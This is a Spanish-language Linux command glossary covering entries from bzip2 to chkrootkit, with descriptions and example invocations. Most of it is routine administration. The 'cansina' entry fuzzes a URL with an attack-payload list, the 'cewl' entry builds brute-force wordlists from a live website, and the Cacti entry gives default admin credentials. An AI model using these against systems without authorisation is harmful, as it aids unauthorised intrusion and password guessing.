comprime un fichero [ni empaqueta ni comprime directorios]

```
$ bzip2 fichero  
Comprimir
```

```
$ bzip2 -d fichero.bz2  
Descomprimir
```

```
$ bzip2 -c fichero.bz2  
Ver contenido
```

```
$ bzip2 -dc archivo.tar.bz2 | tar -xv  
Descomprime y desempaqueta
```

```
$ bzip2 -dc archivo.tar.bz2 | tar -t  
Ver contenido
```

## bzip2recover

Intenta recuperar datos de ficheros bzip2 dañados.

```
$ bzip2recover archivo.bz2
```

**bzless**

[bzip2]. Muestra el contenido de un archivo .bz2 comprimido con bzip2 de forma parecida al comando less [ver]

```
$ bzless archivo.txt.bz2
```

**bzmore**

Visualiza de forma paginada el contenido de un archivo comprimido con bzip2

```
$ bzmore archivo.bz2
```

**bzz**

Codificar/descodificar ficheros.

```
$ bzz entrada salida
```

```
$ bzz -d entrada salida  
Descodificar
```

---

## C

---

### **cabextract**

Aplicación para abrir y extraer archivos .cab [de windows]

```
$ cabextract archivo.cab
```

### **cacaclock**

[caca-utils]. Muestra un reloj digital en ascii

### **cacademo**

Demostración de arte ascii a color

### **cacafire**

[caca-utils]. Fuego animado a color en ascii

### **cacaserver**

[caca-utils]. Servidor telnet para librerías libcaca.

En el servidor:

```
$ CACA_DRIVER=raw cacafire | cacaserver
```

En el remoto:

```
$ telnet IP_o_Host 51914
```

### **cacaview**

[caca-utils]. Visualizar imágenes en modo ascii y a color

```
$ cacaview imagen.jpg
```

Atajos:

```
n,p (anterior siguiente imagen)
+,- (zoom)
z   (reset zoom, volver a la medida normal)
q   (salir)
```



## cache

(Memoria cache o memoria RAM). Cuando se ejecuta una aplicación, la misma es cargada primero en la memoria RAM. Parte de la información del aplicativo queda en memoria RAM Cache, para cuando se vuelva a ejecutar, no sea necesario cargarlo todo nuevamente y el proceso sea mucho más rápido. Otra forma de utilizar memoria RAM Cache, es cuando tenemos mucha escritura en Disco, ya que el Kernel de Linux graba primero en la memoria caché, para luego, cada cierto tiempo, hacer un volcado en el disco. La limpieza y el manejo de la memoria RAM la hace el SO de forma automática, pero hay casos donde se hace necesario efectuar una limpieza manual.

```
# free -m
comprobación del uso de la memoria

# sync; echo 3 >' /proc/sys/vm/drop_caches' && swapoff -a && swapon -a

# free -m
volver a lanzar para comprobar los cambios
```

Los posibles valores asignados a drop\_caches son:

- 0 - Cede el control al Kernel para que administre la memoria
- 1 - Se obliga al sistema a vaciar las páginas del cache (pagecache).
- 2 - Se obliga al sistema a vaciar las entradas de directorios (dentries) y nodos índice (inodos).
- 3 - Se obliga al sistema a vaciar pagecache, dentries y inodos.

El comando sync sirve para forzar la grabación de información pendiente en la memoria caché. Los dentries representan la relación de forma estructurada que existe entre directorios-archivos. Los inodes con los nodos índice de archivos y directorios que usa el Sistema de Archivos para administrar las actividades posibles de dichos archivos y directorios guardados en disco o memoria. Contiene la metadata de los archivos y directorios: permisos, tamaño, propietario, última fecha de acceso, creación, modificación, entre otros.

## cacti

[php5 php5-gd php5-mysql mysql-server rrdtool snmp libjpeg62 libjpeg62-dev libpng12-0 libpng12-dev libgd2-xpm-dev]. Monitorizar y visualizar gráficas, estadísticas de dispositivos conectados a la red, ancho de banda consumido, detectar congestiones o picos de tráfico, monitorizar determinados puertos... Cacti permite monitorizar cualquier equipo de red que soporte el protocolo SNMP, ya sea un switch, un router o un servidor Linux. Se accede al resto de la instalación con: `http://192.168.1.5/cacti`. Los datos por defecto: usuario: admin password: admin

## cadaver

Cliente de WebDAV para linux. El modulo WebDav es un método que permite compartir, editar y manejar archivos en un servidor remoto via HTTP.

```
$ cadaver 192.168.2.25
Conectar con un host

dav:/>

$ cadaver https://www.sitio.com
Conectar a un host y requerimiento de usuario y contraseña

Authentication required for webdav on server `sitio.com`:
Username: USER
Password: PASS
dav:/>
Una vez conectado, algunos comandos disponibles son:
```

```
put archivo (Subir un archivo)
get archivo (Descargar un archivo)
move viejo nuevo (Cambiar el nombre de viejo a nuevo)
ls (Listar contenido)
edit archivo (Editar un archivo)
pwd (Mostrar directorio donde nos encontramos)
cd dir (Entrar en un directorio)
? (Muestra todos los comandos disponibles)
quit (Salir)
```

## cado

Permite al administrador del sistema delegar capacidades a los usuarios. Cado es un sudo basado en capacidades. Sudo permite a los usuarios autorizados ejecutar programas como root o como otro usuario, cado permite a los usuarios autorizados ejecutar programas con capacidades específicas. Es más selectivo que sudo, los usuarios pueden ser autorizados a tener solo capacidades específicas y no otras. El archivo /etc/cado.conf es donde se configuran las capacidades de los usuarios.

Permitir al usuario user1 y a todos los miembros del grupo usernet ejecutar programas que necesitan la capacidad net\_admin. El usuario user1 también puede ejecutar programas que requieren cap\_kill:

```
net_admin: @usernet,user1

cap_kill: user1

setgid,setuid: user2,@group1
```

## cadubi

Crear dibujos en la consola.

teclas:

```
i j k l (Las que gobiernan el cursor: arriba [i], izquierda [j], derecha [l] y abajo [k])
spacio (la brocha)
del o ` (borrar caracter)
p (Cambiar la letra de la brocha)
f (Modificar el color de la letra)
b (Modificar el color de fondo de la letra)
g (Letra en negrita)
v (Permutar los colores del fondo y la letra)
t (Pasar a modo texto. "Esc" para salir de modo texto)
Ctrl+r (Abrir un archivo o un dibujo anterior)
Ctrl+o (Guardar el archivo)
Ctrl+h (Desplegar/ocultar la ayuda)
Ctrl+x (Salir del prigramo)

Teclas de color. Es indistinto pulsar el número o la letra entre parentesis:
```

```
0 (n) (Texto standard)
1 (w) (Blanco)
2 (r) (Rojo)
3 (g) (Verde)
4 (y) (Amarillo)
5 (b) (Azul)
6 (m) (Magenta)
7 (c) (Cian)
8 (k) (Negro)
```

## cal

Muestra el calendario del mes

```
$ cal -y
muestra todos los meses del año
```

```
$ cal -m 1995
muestra año indicado comenzando las semanas por lunes [-m]
```

```
$ cal 2011
Muestra el año completo
```

```
$ cal 05 2011
Muestra el mes del año especificado
```

```
$ cal -3
Muestra el mes actual el anterior y el posterior
```

```
$ cal -m |grep -A7 -B7 --color=auto $(date +%d)
Muestra el mes actual y coloreado el día actual
```

## calc

Calculadora.

```
$ calc
Entra en el prompt. Su uso es el clásico: 5*2, 80/4... Exit para salir

$ calc 2*7
```

## calcurse

Organizador de tareas por consola.

## calendar

Muestra las próximas fechas relevantes en una amplia variedad de calendarios en inglés. Puede personalizarse editando el archivo:

```
# nano /usr/share/calendar/calendar.all
```

Y suprimiendo las líneas de los calendarios que no se deseen y eliminando los archivos correspondientes del directorio /usr/share/calendar/

```
$ calendar
```

## calife

Alternativa ligera a Sudo. Permite a los usuarios seleccionados obtener un shell con la identidad de root u otro usuario, después de ingresar su propia contraseña. Esto permite al administrador del sistema otorgar privilegios de root sin compartir la contraseña.

```
$ califa
```

En /etc/calife.auth añadir el/los usuario/s y el shell que se les autoriza:

```
usuario:/bin/bash
```

## cancel

Cancelar trabajos de impresión

```
$ cancel -u usuario
del usuario especificado
```

```
$ cancel -a
todos los trabajos
```

## cansina

Trata de descubrir directorios ocultos en los que poder encontrar información útil. Descarga:

```
$ git clone https://github.com/deibit/cansina
```

```
# python cansina.py -h
Ayuda
```

```
# python cansina.py -u URL -p fuzzdb/attack-payloads/all-attacks/all-attacks-unix.txt
Los parámetros mínimos son la URL y el payload a usar
```

Una vez lanzado el fuzzer, crea un archivo .sqlite en el directorio data que puede convertirse en .html con:

```
$ python viewer.py -p data/URL.sqlite
```

Y visualizarse en cualquier navegador.

## canto

Lector de noticias rss. Configuración en `.canto/conf.py` para abrir las noticias con firefox, modificar la linea: `link_handler("firefox \"%u\"")`

```
$ canto -i archivo.opml
Entrar archivo de fuentes
```

Atajos:

```
j / k (Bajar / subir por las fuentes)
g (Abrir noticia en el navegador para firefox)
. / , (Siguiente / anterior noticia sin leer)
space (abrir noticia)
q (salir)
r (marcar fuente como leída)
R (marcar todas las fuentes como leídas)
u (Volver a marcar fuente como no leída)
U (Volver a marcar todas las fuentes como no leídas)
Ctrl + r (Actualizar fuentes)
f (Buscar palabra en las noticias)
```

## capsh

Permita probar y explorar el uso de capabilities. [relacionado con getcap, setcap y getpcaps]

```
$ capsh --print
Lista de capabilities actuales
```

## capstans

Herramienta para recopilar estadísticas sobre la carga actual de una interfaz de red.

```
$ capstans -i eth1 -I 2
actualizar cada 2 segundos
```

```
$ capstans -l
Imprimir resultados en syslog y no por pantalla
```

## caracteres-especiales

Son signos con un caracter especial en bash:

```
~ (Directorio home)
\ (Sustitución de comando)
# (Comentario)
$ (Variable)
& (Proceso en background)
; (Separador de comandos)
* (Comodín para cero o cualquier número de caracteres)
? (Comodín para un sólo carácter)
/ (Separador de directorios)
( (Empezar un subshell)
) (Terminar un subshell)
\ (Carácter de escape)
< (Redirigir la entrada)
> (Redirigir la salida)
| (Tubería)
[ (Empieza conjunto de caracteres comodín)
] (Acaba conjunto de caracteres comodín)
{ (Empieza un bloque de comando)
} (Acaba un bloque de comando)
' (Entrecomillado fuerte)
" (Entrecomillado débil)
! (No lógico de código de terminación)
```

## caracteres-unicode

Unicode es un estándar de codificación de caracteres diseñado para facilitar el tratamiento informático, transmisión y visualización de textos de múltiples lenguajes y disciplinas técnicas, además de textos clásicos de lenguas muertas.

Para insertarlos en un texto o en la consola, debe mirarse el código lanzando la aplicación charmap, seleccionar la grafía, latin en este ejemplo, clicar la letra correspondiente y en la parte inferior de la ventana nos aparecerá el código U+004D LATIN CAPITAL LETTER M [Letra M]. Vamos al texto y lo insertamos pulsando la combinación de teclas Ctrl+Shift+u y pulsando sucesivamente los números y letras 0,0,4,D. Al soltar las teclas Ctrl,Shift,u, pulsar espacio o intro aparecerá la letra M. También puede consultarse la tabla <<http://www.unicode.org/charts/>> para encontrar el código que queremos representar.

## cardctl

Utilidad para ordenadores portátiles de control de tarjetas PCMCIA [Tarjetas de memoria que permiten añadir al ordenador nuevas funciones, tales como tarjetas de sonido, de red...]

```
# cardctl status
Muestra el estado
```

```
# cardctl config
Muestra la configuración
```

```
# cardctl ident
Muestra información
```

```
# cardctl suspend
Interrumpe la alimentación de la tarjeta
```

```
# cardctl eject
La desactiva
```

```
# cardctl insert
La activa nuevamente
```

## cargo

Gestor de paquetes del lenguaje Rust. Crea el directorio ~/.cargo.

```
$ cargo install paquete
instalar un paquete
```

```
$ cargo --list
listado de todos los comandos
```

```
$ cargo help clean
información sobre un comando
```

## case

El conjunto de palabras case ... esac conforman un selector en función de un resultado.

Algunos ejemplos:

1.-

```
#!/bin/bash
read -p "Pon un número del 1 al 3 " NUM
case $NUM in
    1)
        echo "uno"
        ;;
    2)
        echo "dos"
        ;;
    3)
        echo "tres"
        ;;
    *)
        echo "No es del 1 al 3"
        ;;
esac
2.-
```

Combinado con un while para crear un menú:

```
#!/bin/bash
while [ "$OPCION" != 3 ]
do
    echo
    echo "[1] ¿Saber el host? "
    echo "[2] ¿Directorio donde estás? "
    echo "[3] Salir "
    echo
    read -p "Escoger una opción " OPCION
    echo
    case $OPCION in
        1)
            echo $HOSTNAME
            ;;
        2)
            pwd
            ;;
        3)
            echo "Abortando..."
            ;;
        *)
            echo "La opción no es válida"
            exit
            ;;
    esac
done
```

## cat

Muestra el archivo especificado

```
$ cat -n .bashrc
Numera las líneas de salida
```

```
$ cat -b .bashrc
Sólo numera las líneas no vacías
```

```
$ cat -s .bashrc
Suprime varias líneas vacías por una sola
```

```
$ cat -A archivo
Ver los caracteres no imprimibles
```

```
$ cat file{0..4} > archivo
Junta file1, file2, file3 y file4 en un sólo archivo
```

```
$ cat file1 file2 file3 file4 archivo
Lo mismo
```

Algunos archivos importantes usando cat:

## C

```
$ cat /proc/cpuinfo
informacion del procesador
```

```
$ cat /var/log/debug | less
inf del sistema
```

```
$ cat /var/log/user.log | less
inf del usuario
```

```
$ cat /var/log/messages | less
mensajes del sistema
```

```
$ cat /var/log/syslog | less
registro de actividad
```

```
$ cat /var/log/auth.log | less
accesos al sistema
```

```
$ cat /proc/meminfo
inf sobre la memoria
```

```
$ cat /proc/devices
inf sobre los dispositivos en uso
```

```
$ cat /proc/mounts
inf de las particiones y recursos montados
```

```
$ cat /proc/filesystems
los filesystems habilitados en el kernel
```

```
$ cat /etc/X11/default-display-manager
para conocer el gestor de sesiones
```

```
$ cat /proc/version
version del nucleo y compilador empleado
```

```
$ cat < /sys/class/net/eth1/address
Muestra la dirección MAC
```

```
$ cat /etc/services | grep http
Visualizar puertos por los que corre http
```

```
$ cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q
generar una contraseña de 10 caracteres
```

```
$ cat listado.txt / | sed -e :a -e 's/^\.{1,20\}$/&_/;ta'
coloca los nombres del listado uno detrás de otro y completa hasta 20 caracteres [1,10] con un
guión bajo [&_]
```

## cating

Ver imagenes ascii

```
$ cating -r 2 imagen.png
con mejor resolución que -r 1
```

## cb-

[crunchbang-bin-scripts]. Conjunto de scripts propios de la distro crunchbang.

cb-exit (Lanza el dialogo de salida)

cb-welcome (script para reconfigurar el sistema. Arranca recién instalado el S.O)

cb-lock (protector de pantalla)

## cbm

Muestra el trafico de red

```
# cbm
```

## cbonsai

Crea bonsais en la consola.

```
$ cbonsai
estático
```

```
$ cbonsai -l
lo va creando
```

```
$ cbonsai -i
va mostrando varios bonsais
```

## ccal

Calendario colorizado

```
$ ccal -e
formato europeo: primer dia semana,  lunes
```

```
$ ccal -e 3 2011
mostrar el marzo de 2011
```

```
$ ccal -a
formato americano: primer dia semana,  domingo
```

```
$ ccal -e 2011
mostrar todo el 2011
```

## ccat

Como el comando cat pero con más colorido. Si se prefiere ccat a cat poner en ~/.bashrc la linea:

```
alias cat=ccat
```

```
$ source ~/.bashrc (recargar .bashrc)
```

Descarga:

```
$ wget https://github.com/jingweno/ccat/releases/download/v1.1.0/linux-amd64-1.1.0.tar.gz
```

```
$ tar xzf linux-amd64-1.1.0.tar.gz
```

```
$ cd linux-amd64-1.1.0
```

```
# cp linux-amd64-1.1.0/ccat /usr/local/bin/
```

```
$ ccat fichero1 fichero2
abrir varios archivos
```

```
$ ccat fichero1 fichero2 --html > fichero.html
crear un html
```

```
$ ccat --palette
colores disponibles
```



## ccd2iso

Convierte una imagen img/ccd/sub/cue a iso

```
$ ccd2iso imagen.img imagen.iso
```

## ccdiff

busca diferencias entre dos archivos y muestra de distinto color las líneas cambiadas.

```
$ ccdiff --list-colors
ver todos los colores disponibles
```

```
$ ccdiff -m -i -B file1 file2
usando marcas en las diferencias [m], ignorando mayúsculas/minúsculas [i] y espacios en blanco [B]
```

Algunas opciones:

```
--old=color
    Definir el color de primer plano para el texto eliminado.

--new=color
    Definir el color de primer plano para el texto agregado.

--bg=color
    Definir el color de fondo para el texto modificado
```

## ccrypt

Utilidad para poner contraseña a un archivos o directorios [sustituye el original].

```
$ ccrypt -e fichero
poner contraseña, confirmar y convierte el fichero en fichero.cpt
```

```
$ ccrypt -d fichero.cpt
abrirlo
```

```
$ ccrypt -c fichero.cpt
lo visualiza en consola. Como "cat"
```

```
$ ccrypt -x fichero.cpt
cambia la contraseña. Primero pide la contraseña, luego la nueva y confirmación
```

```
$ ccrypt -er dir
cifrar un directorio entero recursivamente
```

## ccze

Colorear la salida de un comando

```
$ cat /var/log/apache2/access.log | ccze -A
```

## cd

Moverse a un directorio

```
$ cd
entra al directorio personal estes donde estes
```

```
$ cd ~
entra al directorio personal estes donde estes
```

```
$ cd ..
baja un nivel
```

```
$ cd ../../
baja dos niveles
```

```
$ cd -
entra en el último directorio en el que se ha estado
```

## cdargs

Herramienta que mejora la navegación por el sistema de archivos desde la shell. Se conecta al comando de CD a través de una función de shell o un alias y le agrega marcadores y un navegador que permite moverse a un lugar muy distante en el sistema de archivos con solo unas pocas pulsaciones de teclas.

```
$ cdargs -a path
agregar una ruta a la lista de marcadores
```

```
$ cdargs -u user
ver los marcadores de un usuario. Para eliminar una entrada pulsar "d". Pulsar "q" para salir
```

```
$ cdargs
si solo hay un usuario entra en su listado como en el caso anterior
```

```
$ cv xxx
con las primeras letras y tab se entra en el directorio que se ha entrado en el listado
```

```
$ ca
al entrar en un directorio y pulsar ca se incorpora el directorio en la lista de marcadores
```

Para incorporar cdargs en .bashrc:

```
cp /usr/share/doc/cdargs/examples/cdargs-bash.sh ~/.bashrc-cdargs
```

```
echo '. ~/.bashrc-cdargs' >> ~/.bashrc
```

## cdclose

[cdtool]. Cerrar el cd.

```
$ cdclose -d /dev/sr0
especificando el dispositivo [cdrom0...]
```

## cdda2wav

Extraer pistas de audio de un cd

```
$ cdda2wav -B -H -D /dev/sdxx -s -x
extrae disco completo en archivos wav separados.
```

```
$ cdda2wav -H -D /dev/sdxx -s -x -t 5
extrae la pista nº 5
```

## cd-drive

[libcdio-utils]. Describe las características de la unidad de CD-ROM/DVD.

```
$ cd-drive
```

## cdeject

[cdtool]. Abrir el cd. Ver eject

```
$ cdeject -d /dev/sr0
especificando el dispositivo [cdrom0....]
```

## cdinfo

[cdtool libcdio-utils]. Muestra Información del cd si se encuentra disponible. En algunas distros cd -info

```
$ cdinfo -d /dev/sr0
```

## cdir

[cdtool]. Información sobre el directorio del cd

```
$ cdir -n
Duración de las canciones de un cd
```

```
$ cdir -d /dev/sr0 -r
Lo mismo especificando dispositivo
```

## cdparanoia

Extraer pistas de audio de un cd.

```
$ cdparanoia -B -d /dev/sdxx
extrae disco completo en archivos wav separados
```

```
$ cdparanoia 5 -d /dev/sdxx
extrae el track nº 5
```

```
$ cdparanoia "2[:35.00]-2[2:30.00]"
extraer solo de la pista 2 del minuto 1,35 al 2,35
```

## cdrdao

Extraer / grabar pistas de CD en modo DAO (Disk at once)

```
# cdrdao read-cd -v 2 --device /dev/cdrom --read-raw --datafile imagen.bin imagen.toc
Extraer junto a su tabla de contenidos
```

```
# cdrdao copy -v 2 --device 0,0,0 --source-device 0,1,0 --speed 4 --buffers 64 --reload --eject --
on-the-fly --fast-toc
copia al vuelo de CD
```

```
# cdrdao read-cd -v 2 --device 0,1,0 --read-raw --datafile img.bin img.toc
Extraer imagen
```

```
# cdrdao write -v 2 --device 0,3,0 --speed 4 --buffers 64 img.toc
Grabar imagen
```

## cdrecord

Grabación de cds.

```
$ cdrecord -scanbus
Escaneo de grabadoras
```

```
$ cdrecord -v dev=/dev/sdd imagen.iso
modo básico
```

```
$ cdrecord -v dev=0,1,0 speed=4 -isozsize /dev/scd0
copiar directamente de un dispositivo a otro
```

```
$ cdrecord -v -eject speed=8 dev=0,0,0 test.iso
iniciar la grabación
```

```
$ cdrecord -v dev=/dev/cdrom blank=fast
Borrar un cd regrabable
```

opciones

```
-v .- muestra más información de salida

-eject .- expulsa el disco al finalizar la grabación

-speed .- especifica la velocidad de grabación

-dev .- número de dispositivo [0,1,0] obtenido con cdrecord -scanbus

-dummy .- simula la grabación
```

## cert-sync

Importar certificados. Ver update-ca-certificates

```
$ cert-sync --user /etc/ssl/certs/ca-certificates.crt
```

## certtool

[gnutls]. Herramienta para analizar y generar certificados, solicitudes y claves privadas X.509. Se puede utilizar de forma interactiva o no interactiva.

```
$ certtool --generate-privkey --outfile key.pem --rsa
crear una clave RSA [otras opciones: dsa, ecc] privada i que se guarde en key.pem
```

```
$ certtool --certificate-info --infile cert.pem
información sobre un certificado
```

## cewl

Generador de lista de palabras a partir de las palabras existentes en una página web y que pueden ser utilizadas por otros programas (Bruter, John the Ripper...), para realizar ataques de fuerza bruta.

```
$ cewl -a -d 3 -m 5 -w wordlist.txt http://www.movistar.es (Incluir metadatos [a], profundidad 2
serían todas las palabras de la web principal y todas las de las webs enlazadas desde esta [-d 2],
con un mínimo de 5 caracteres [-m 5] y que lo guarde en wordlist.txt [-w])
```

```
$ cewl -w wordlist.txt -o -e URL
que escriba el resultado en wordlist.txt, que escanee enlaces externos y correos electrónicos [e]
```

## cfiles

Gestor de archivos de terminal con teclas tipo vim, escrito en C usando la biblioteca ncurses. Su objetivo es proporcionar una interfaz como ranger, siendo al mismo tiempo ligero, rápido y mínimo. Se puede descargar de <<https://github.com/mananapr/cfiles.git>>

## cftp

Conexión remota por ftp.

```
$ cftp usuario@host
Despues de solicitar contraseña, entra en el prompt
```

cftp> ? (Muestra los comandos disponibles.)

Pulsando exit salimos del prompt

## chacl

Cambia los permisos de archivos o directorios. Este comando de compatibilidad IRIX que se mantiene para aquellos usuarios que están familiarizados con el uso de XFS o IRIX pero lo habitual para estos casos es usar el comando chmod [ver].

```
$ chacl u::---,g::r-x,o::-w- archivo.txt
$ ls -al archivo.txt
----r-x-w- 1 pep pep 93 gen 30 18:11 archivo.txt
Con el comando chmod seria:
```

```
$ chmod u=r,g=rx,o=w newfile.txt
$ ls -al newfile.txt
----r-x-w- 1 pep pep 93 gen 30 18:11 newfile.txt
```

## chafa

Visor de imágenes en ascii

```
$ chafa -C on -c full imagen.png
centrada y el máximo de color
```

```
$ chafa -c 240 -s 50 imagen.png
a 240 colores y estableciendo media de columnas y filas a 50
```

```
$ chafa imagen.gif
```

## chage

Establece/visualiza el número de días para cambio de contraseña

```
$ chage -l usuario
muestras datos sobre la contraseña
```

```
$ chage -M max_días -W aviso usuario
```

```
$ chage -d 0 usuario
en la siguiente entrada al sistema pedirá al usuario cambiar la contraseña
```

-l: lista los parámetros actuales de la cuenta del usuario.

-m días: mínimo de días a transcurrir para que pueda cambiar la contraseña

-M días: máximo de días a partir del último cambio de cambio de la contraseña

## C

---

-W: Días de antelación que se ha de avisar de que su contraseña va a caducar.

-I: Días que transcurren desde que caduca la contraseña del usuario hasta que la cuenta queda bloqueada. Si el valor es 0, la cuenta no está bloqueada después de que caduque la contraseña

-d días: Número de días desde Enero 1 de 1970 que la contraseña fué cambiada.

-E días: especifica fecha del bloqueo de la cuenta (formato YYYY-MM-DD)

## chalow

Convierte los archivos changelog a páginas html para visualizar con el navegador.

```
$ chalow -d /home/pep/dades/arxiu_importantes/dotemacs.d/.emacs.d/elpa/muse-3.20.2/ChangeLog
```

## changetrack

Muestra los cambios que se producen en un conjunto de archivos especificado. Está diseñado para ejecutarse como un trabajo cron. Descomentar los directorios que queremos monitorizar si se produce algún cambio en:

```
# nano /etc/changetrack.conf
```

O editar el archivo ~/.changetrackrc y colocar la ruta absoluta de cada archivo a monitorear o por ejemplo, todo el directorio personal \$HOME/\*. Pueden ponerse comentarios con "#".

```
# changetrack
lanzar la aplicación
```

```
# ls .changetrack
visualizar los archivos modificados
```

## chardet

Detector de codificación.

```
$ chardet archivo
```

## chattr

[ver lsattr]. Cambia los atributos de ficheros (bloquea el fichero).

```
# chattr +i /etc/resolv.conf
impedirá modificaciones por procesos o por root
```

```
# chattr -i /etc/resolv.conf
lo desbloquea
```

```
# chattr -V -R +i /home/usuario/directorio
bloqueo recursivo y mostrando toda la información
```

```
# chattr +a archivo
desactiva el acceso al fichero excepto para añadir datos
```

## chdir

Cambiar a otro directorio como el comando cd [ver].

```
$ chdir /var/www/html
```

## cheat

[python-pip git] Muestra chuletas de algunos comandos. Permite construir nuestras propias chuletas colocandolas en el directorio que muestra la opcion -d. Descarga e instalacion:

```
# pip install docopt pygments
$ git clone https://github.com/chrisallenlane/cheat.git
$ cd cheat
# python setup.py install
$ wget https://github.com/chrisallenlane/cheat/raw/master/cheat/autocompletion/cheat.bash
# cp cheat.bash /etc/bash_completion.d/
```

```
$ cheat -l
Listado de los comandos
```

```
$ cheat ifconfig
Muestra la chuleta de ifconfig
```

```
$ cheat -d
Muestra el directorio de las chuletas
```

```
$ cheat -e ifconfig
Pregunta si queremos crear una copia de la chuleta ifconfig en nuestro $HOME para modificarla.
Tendra prioridad sobre la del sistema
```

1-

Con python-pip instalado tambien podemos instalarla con:

```
# pip install cheat
```

## checkbashisms

Realiza comprobaciones básicas en scripts de shell /bin/sh por la posible presencia de bashisms. La definición de bashism equivale a "una función de shell que no se requiere que sea soportada por POSIX "; esto significa que algunos problemas marcados pueden ser permitidos bajo secciones opcionales de POSIX. En los casos en que POSIX y Debian Policy no coincidan, los checkbashisms, de forma predeterminada, permiten extensiones permitidas por Policy pero también pueden proporcionar opciones para una verificación más estricta.

```
$ checkbashisms script.sh
```

## check-bios-nx

Determinar si la BIOS ha bloqueado las capacidades NX de la CPU.

```
$ check-bios-nx verbose
```

ok: the NX bit is operational on this CPU.

## checkbot

Verifica enlaces internos o externos de una url.

```
$ checkbot http://google.com
básico
```

```
$ checkbot --mailto usuario@correo.org http://google.com
enciar correo cuando termine el escaneo
```

## check-enhancements

[debian-goodies]. Muestra paquetes con versiones mejoradas. És un proceso lento.

```
# check-enhancemets -ip
```

## check\_forensic

Comprueba en el registro de las solicitudes a apache las que no se completaron correctamente y genera un registro de solicitudes para cada una.

```
# check_forensic /var/log/apache2/access.log
```

## checkgid

Programa que verifica si el usuario se puede establecer en el grupo de apache2. Esto es para ver si es un grupo válido para que apache2 lo use en tiempo de ejecución. Ha de ejecutarse como superusuario.

```
# checkgid
si no devuelve nada es correcto
```

```
# checkgid user
si no devuelve nada, user está en el grupo y puede configurarlo
```

## checkint

[netdiag]. Muestra todas las interfaces de red activas

```
$ checking
```

## check-language-support

Listado de paquetes de idiomas instalados en el sistema.

```
$ check-language-support -l es
```

```
$ check-language-support -a
todos
```

## checklink

[w3c-linkchecker]. Programa que lee un documento HTML o XHTML, extrae una lista de urls y enlaces y comprueba que ninguno esté definido dos veces y que todos los enlaces sean correctos.

```
$ checklink -b archivo.html
mostrar sólo los enlaces rotos, no las redirecciones
```

```
$ checklink -s archivo.html
mostrar sólo el resumen de resultados
```

## checklistlinux

Herramienta para auditar la seguridad del sistema, verificando configuraciones, variables y consejos con las mejores practicas de seguridad.

```
$ checklistlinux
al acabar la auditoria muestra el nombre de los .html donde se han guardado los resultados
```



## checkrestart

[debian-goodies]. Muestra procesos activos que están utilizando una versión anterior de algún fichero que haya sido actualizado. A veces una actualización trae nuevas bibliotecas del sistema y los procesos que se estén ejecutando siguen utilizando las versiones anteriores de estas bibliotecas. En sistemas Debian GNU/Linux estables, generalmente se necesita para eliminar una exposición del sistema a una vulnerabilidad que podría haberse solucionado actualizando una biblioteca que utiliza algún proceso. También se usa para encontrar versiones desactualizadas de bibliotecas en uso.

```
# checkrestart -a
muestra todos
```

```
# checkrestart -p chromium
referente a un paquete
```

```
# checkrestart -i 1912
referente a un PID
```

Nota.- Aunque la salida muestre gran cantidad de paquetes [por ejemplo por tener una "testing" o por una actualización del navegador mientras este está activo] no es preciso reiniciar el sistema o la aplicación pero es aconsejable.

## checksec

script diseñado para probar qué características estándar de seguridad del sistema operativo Linux y PaX se están utilizando.

```
# checksec -k
del kernel
```

```
# checksec -fp 1
comprueba el proceso con PID 1
```

```
# checksec -o xml -pa
de todos los procesos y la salida como .xml
```

## checksecurity

Realiza comprobaciones de seguridad muy básicas del sistema tales como: sistemas de archivos remotos montados de forma insegura, cambios en los programas setuid, cambios en los puertos abiertos para detectar programas maliciosos, cuentas del sistema vacías o duplicadas, sistemas de archivos montados cercanos a su capacidad, registros generados por iptables con intentos de intrusión... Los informes se guardan en /var/log/setuid/setuid.changes. Si se desea que la información se envíe a root, descomentar la línea #CHECKSECURITY\_EMAIL="root" en el archivo de configuración /etc/checksecurity.conf

```
# checksecurity
```

## check-support-status

[debian-security-support]. Comprueba los paquetes instalados si tienen soporte de seguridad. Según Debian: Desafortunadamente, ha sido necesario limitar el soporte de seguridad para algunos

paquetes.

```
$ check-support-status
Muestra los que no tienen soporte de seguridad
```

## checkupdates

Utilidad que se utiliza para comprobar si hay actualizaciones de paquetes disponibles en el administrador de paquetes del sistema. Es parte del administrador de paquetes pacman en Arch Linux y sus derivados.

```
# checkupdates
Lista de actualizaciones pendientes
```

```
# checkupdates --download
Enumerar las actualizaciones pendientes y descargar los paquetes al caché de pacman
```

## cherokee

Servidor web

```
# cherokee-admin -b
iniciar el gestor. En el navegador: localhost:9090
```

```
# cherokee-admin -b -u
No pida la contraseña
```

```
# cherokee-admin -b -p 9091
especificar un puerto para la gestión
```

## chflags

Cambiar flags de un archivo o carpeta.

```
$ chflags -R nouchg DIR
de forma recursiva y que el archivo se puede cambiar
```

```
$ chflags -r uchg file
recursiva y que el archivo no se puede cambiar
```

```
$ chflags -R -L DIR
recursiva y siguiendo enlaces simbolicos
```

## chfn

modifica la información personal del usuario [nombre, domicilio, teléfono.]

```
$ chfn usuario
permite modificar todos los datos del usuario
```

Opciones

```
-f nombre_completo
-r domicilio
-w teléfono_trabajo
-h teléfono_particular
-o otros datos
```

## chgrp

Cambia el grupo al que pertenece un archivo.

```
$ chgrp grupo archivo
```

## chkboot

Busca modificaciones no deseadas en el archivo /boot. El archivo de configuración esta en /etc/default/chkboot

```
# chkboot-check
imprime los cambios detectados en archivos de arranque

# chkboot-desktopalert
notifica cambios detectados en archivos de arranque

# chkboot -u
Marcar los cambios como válidos. La próxima ejecución no advertirá sobre las diferencias

# chkboot
forma básica
```

## chkconfig

Para activar y desactivar servicios, ver su estado y runlevel

```
# chkconfig --list
muestra listado de todos los servicios y nivel de ejecución

# chkconfig --list apache2
muestra nivel de ejecución del especificado

# chkconfig --level 35 apache2 on
Para arrancar apache2 con runlevel 3 y5

# chkconfig --level 345 nscd off
Desactivar nscd en los runlevel 3, 4 y 5

# chkconfig --del sshd
Quitar un servicio del arranque

# chkconfig smb
Indica si el servicio está activo o inactivo

# chkconfig --list | grep '3:on'
Mostrar los servicios que se ejecutan en el runlevel 3

# chkconfig mysql off
Desactiva mysql
```

## chkdupexe

Buscar duplicados en ejecutables.

```
$ chkdupexe
```

## chklastlog

[chkrootkit]. Lee las entradas en el archivo /var/log/wtmp (archivo con información sobre inicios y cierres de sesión) y comprueba cada usuario encontrado en este archivo si también hay una entrada en el archivo /var/log/lastlog. El programa se quejará de los ID de un usuario con inicios de sesión pero sin información de cierre de sesión.

```
# chklastlog
```

## chkrootkit

[incluye las aplicaciones chkwtmp y chklastlog]. Buscador de rootkits infiltrados en el sistema.

```
